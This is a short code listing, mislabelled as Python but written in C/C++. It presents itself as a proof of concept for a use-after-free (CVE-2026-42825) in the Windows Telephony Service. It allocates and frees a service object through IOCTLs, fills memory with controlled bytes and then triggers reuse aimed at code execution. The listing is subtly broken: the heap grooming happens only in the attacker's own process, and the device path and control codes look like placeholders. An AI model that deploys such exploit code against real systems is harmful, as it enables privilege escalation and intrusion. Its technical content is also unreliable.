The following code is for security research and authorized testing only.
python
#include <windows.h>
#include <iostream>
/*
* Conceptual Proof of Concept for CVE-2026-42825
* Vulnerability Type: Use After Free (UAF)
* Component: Windows Telephony Service (TapiSrv)
*
* Description: This PoC demonstrates the logic flow to trigger a UAF.
* It allocates a context, frees it, and then attempts to reuse it,
* which simulates the vulnerable condition in the service.
*/
VOID ExploitUAF() {
HANDLE hDevice;
LPVOID pUAFObject = NULL;
DWORD bytesReturned;
// 1. Target the vulnerable device/interface
hDevice = CreateFileA("\\\\.\\TapiDevice",
GENERIC_READ | GENERIC_WRITE,
0, NULL, OPEN_EXISTING, 0, NULL);
if (hDevice == INVALID_HANDLE_VALUE) {
printf("Failed to open device.\n");
return;
}
// 2. Allocate vulnerable object
DeviceIoControl(hDevice, 0x80002010, NULL, 0, &pUAFObject, sizeof(PVOID), &bytesReturned, NULL);
printf("[+] Object allocated at: %p\n", pUAFObject);
// 3. Trigger the vulnerability: Free the object
// The service frees the memory but keeps a dangling pointer.
DeviceIoControl(hDevice, 0x80002020, NULL, 0, NULL, 0, &bytesReturned, NULL);
printf("[+] Object freed (Dangling pointer remains).\n");
// 4. Reallocation / Heap Grooming
// Attacker sprays the heap to reclaim the freed memory with controlled data.
PVOID pFakeObj = HeapAlloc(GetProcessHeap(), 0, 0x100);
memset(pFakeObj, 0x41, 0x100); // Fill with 'A's (0x41)
// Simulate the reallocation occupying the freed slot
// (In a real exploit, precise heap manipulation is required here)
printf("[+] Reallocated memory space with controlled payload.\n");
// 5. Trigger Use-After-Free
// The service attempts to use the dangling pointer, now pointing to attacker's data.
DeviceIoControl(hDevice, 0x80002030, NULL, 0, NULL, 0, &bytesReturned, NULL);
printf("[+] Use-after-free triggered. Code execution attempted.\n");
CloseHandle(hDevice);
}
int main() {
printf("Starting PoC for CVE-2026-42825...\n");
ExploitUAF();
return 0;
}